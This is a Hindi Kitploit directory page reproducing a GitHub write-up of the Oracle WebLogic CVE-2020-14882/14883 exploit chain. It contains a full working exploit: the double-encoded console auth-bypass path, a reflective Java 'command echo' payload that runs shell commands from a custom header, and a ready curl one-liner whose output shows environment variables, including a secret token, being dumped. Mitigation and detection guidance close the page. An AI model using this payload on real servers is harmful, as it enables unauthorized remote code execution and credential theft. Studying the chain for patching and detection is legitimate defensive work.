Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-14882-WebLogic-Analysis — Oracle WebLogic Server भेद्यता श्रृंखला के लिए तकनीकी विश्लेषण और स्वच्छ Java Thread Echo PoC। | Kitploit
उपकरण/GitHubGitHub/velessecurity/cve-2020-14882-weblogic-analysis
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेलोड डेवलपमेंट
GitHubvelessecurity/cve-2020-14882-weblogic-analysis

CVE-2020-14882-WebLogic-Analysis

Oracle WebLogic Server भेद्यता श्रृंखला के लिए तकनीकी विश्लेषण और स्वच्छ Java Thread Echo PoC।

रिपॉजिटरी देखें
322 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

भेद्यता अनुसंधान: Oracle WebLogic Server में CVE-2020-14882 और CVE-2020-14883 श्रृंखला का शोषण

इस रिपॉजिटरी में Oracle WebLogic Server प्रबंधन कंसोल घटक में प्रमाणीकरण बायपास (Authentication Bypass) और रिमोट कोड निष्पादन (RCE) भेद्यता श्रृंखला को प्रदर्शित करने के लिए तकनीकी रिपोर्ट (Write-up) और अवधारणा प्रमाण (Proof of Concept - PoC) शामिल है।

🛑 चेतावनी और अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और वैध सुरक्षा ऑडिट (Pentest) के लिए तैयार की गई है। स्वामियों की पूर्व लिखित सहमति के बिना सिस्टम के विरुद्ध वर्णित तकनीकों का उपयोग कानूनी रूप से दंडनीय है।


🏗 अनुसंधान आर्किटेक्चर और स्टैक

  • लक्ष्य: 12.2.1.3 संस्करण के Oracle WebLogic Server के साथ पृथक परीक्षण वातावरण
  • हमला वेक्टर: Path Traversal → MVEL2 Script Execution → Java Thread Hijacking
  • उपकरण: nmap, curl, bash

📈 शोषण का व्यावहारिक क्रम

चरण 1. परिधि की निष्क्रिय और सक्रिय टोही (Scanning)

हमले की सतह निर्धारित करने के लिए, वेब सेवाओं के मानक पोर्ट और Java अनुप्रयोगों के प्रशासन पोर्ट की लक्षित स्कैनिंग की गई:

root@kitploit:~
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>

नियंत्रित टर्मिनल आउटपुट:

root@kitploit:~
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).

PORT     STATE  SERVICE VERSION
80/tcp   closed http
8080/tcp closed http-proxy
7001/tcp open   http    Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)

Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
  • चरण की अंतर्दृष्टि: बैनर ने 12.2.1.3 शाखा की उपस्थिति की पुष्टि की। T3 प्रोटोकॉल का सक्षम होना वैकल्पिक वैक्टरों की ओर भी संकेत करता है, लेकिन इस अनुसंधान के लिए कंसोल के HTTP वेब इंटरफ़ेस को चुना गया।

चरण 2. प्रमाणीकरण तंत्र का बायपास (CVE-2020-14882)

पथ संरचना के विश्लेषण से पता चला कि वेब सर्वर दोहरे URL-एन्कोडिंग के दौरान निर्देशिका के ऊपरी स्तर पर जाने वाले अनुक्रमों को गलत तरीके से संसाधित करता है। संसाधन /console/css/ स्टैटिक्स के लिए खुला है। हम संरक्षित पोर्टल तक पहुँचने के लिए अनुरोध तैयार करते हैं:

  • बायपास पैटर्न: /console/css/%252e%252e%252fconsole.portal

हम सर्वर की उपलब्धता और व्यवहार की जाँच करते हैं (403 Forbidden या लॉगिन पृष्ठ पर 302 Redirect के बजाय 200 OK स्थिति की उम्मीद करते हैं):

root@kitploit:~
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"

सर्वर प्रतिक्रिया:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8

चरण 3. Java Reflection के माध्यम से रिमोट कोड निष्पादन (CVE-2020-14883)

प्रमाणीकरण बायपास को सत्र हैंडलर com.tangosol.coherence.mvel2.sh.ShellSession के कॉल के साथ संयोजित करके, हम मनमाना Java कोड निष्पादित करने की क्षमता प्राप्त करते हैं।

java.lang.Runtime के माध्यम से सामान्य कमांड निष्पादन 'अंधा' (Blind RCE) होता है। Command Echo तकनीक (HTTP प्रतिक्रिया के मुख्य भाग में सीधे टर्मिनल आउटपुट लौटाना) को लागू करने के लिए, एक विशेष रिफ्लेक्टिव Java पेलोड विकसित किया गया था।

Java पेलोड का स्रोत कोड :

root@kitploit:~
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();

// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);

// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);

// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");

if (cmd != null) {
    // Определяем ОС целевой системы для корректного вызова шелла
    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") 
        ? new String[]{"cmd.exe", "/c", cmd} 
        : new String[]{"/bin/sh", "-c", cmd};
    
    // Выполняем системную команду и считываем Input Stream
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
        .useDelimiter("\\A").next();
    
    // Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
}

// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();

चरण 4. अंतिम शोषण और पर्यावरण डंप (Exploitation)

Java संदर्भ भेजने को स्वचालित करने के लिए हम अंतिम curl कमांड तैयार करते हैं। हम पेलोड को handle POST पैरामीटर में भेजते हैं, और आवश्यक कमांड को कस्टम हेडर X-CMD-HEADER: env में भेजते हैं।

यह दृष्टिकोण शोधकर्ता की ओर से स्थानीय Bash कमांड-लाइन इंटरप्रेटर द्वारा डेटा के विरूपण से बचाता है।

root@kitploit:~
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"

वास्तविक सत्यापित आउटपुट (पर्यावरण चर डंप):

root@kitploit:~
*   Trying <TARGET_IP>:7001...
*   Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
> 
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
< 
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
  • आउटपुट पर तकनीकी टिप्पणी: लॉग के सबसे अंत में curl: (18) त्रुटि शोषण की सफलता की पुष्टि करती है। यह executeThread.interrupt() निर्देश के कारण होती है, जो कमांड env के परिणामों वाला बफ़र क्लाइंट को भेजे जाने के तुरंत बाद TCP सत्र को जबरन तोड़ देता है।

🛡 भेद्यता निवारण के लिए सिफारिशें (Mitigation)

  1. सुरक्षा अद्यतन: कंसोल में पथ सत्यापन दोषों को दूर करने के लिए Oracle के आधिकारिक पैच (Critical Patch Update) स्थापित करना।
  2. नेटवर्क एक्सेस प्रतिबंध: प्रशासनिक पोर्ट (7001, /console) को बाहरी परिधि से पूर्ण नेटवर्क पृथक्करण (केवल आंतरिक VPN/माइक्रो-सेगमेंटेशन के माध्यम से पहुँच)।
  3. WAF स्तर पर सुरक्षा: दोहरे URL-एन्कोडेड पथ के संकेतों (%252e) को विशिष्ट Java क्लास कॉल के साथ संयोजित करने वाले URL अनुरोधों को अवरुद्ध करने के लिए Web Application Firewall नियम कॉन्फ़िगर करना।

🔍 समझौता संकेतक और पहचान (Detection)

सुरक्षा निगरानी विशेषज्ञों (SOC/Blue Team) के लिए, इस भेद्यता श्रृंखला का सफल शोषण बुनियादी ढांचे में स्पष्ट निशान छोड़ता है।

1. वेब लॉग विश्लेषण (HTTP Access Logs)

WebLogic वेब सर्वर लॉग (आमतौर पर access.log में) में, हमले का मार्कर स्टैटिक निर्देशिकाओं के माध्यम से प्रशासन पोर्टल तक पहुँच के साथ डॉट्स और स्लैश के दोहरे URL-एन्कोडिंग की उपस्थिति है:

  • पथ बायपास सिग्नेचर: URI के भीतर एन्कोडेड रूप में .. सबस्ट्रिंग की खोज: %252e%252e%252f या %252e%252e%252F।
  • संदिग्ध अनुरोध का उदाहरण:
    root@kitploit:~
    "POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
    

2. OS में प्रक्रियाओं का व्यवहार (Endpoint Monitoring / EDR)

यदि सर्वर पर प्रक्रिया ऑडिट कॉन्फ़िगर किया गया है (उदाहरण के लिए, Linux में Auditd या Windows में Sysmon के माध्यम से), तो Remote Code Execution का संकेत Java मूल प्रक्रिया का असामान्य व्यवहार होगा:

  • असामान्य प्रक्रिया वृक्ष: सिस्टम शेल (/bin/sh, /bin/bash या cmd.exe) के मूल के रूप में Java कार्य प्रक्रिया होती है, जिसके अंतर्गत एप्लिकेशन सर्वर चल रहा है:
    root@kitploit:~
    ├─ java (WebLogic Server process)
    │  └─ /bin/sh -c env
    
  • कस्टम हेडर की निगरानी: ट्रैफ़िक या WAF लॉग में असामान्य HTTP हेडर (जैसे X-CMD-HEADER या X-Forwarded-Cmd) का दिखना, जिनका उपयोग हमलावर पेलोड (Command Echo) पहुँचाने के लिए करता है।

🔗 उपयोगी लिंक और सामग्री

  • CVE डेटाबेस: NIST NVD - CVE-2020-14882 | NIST NVD - CVE-2020-14883
  • विश्लेषणात्मक लेख: Oracle Critical Patch Update Advisory
टूल डाउनलोड करें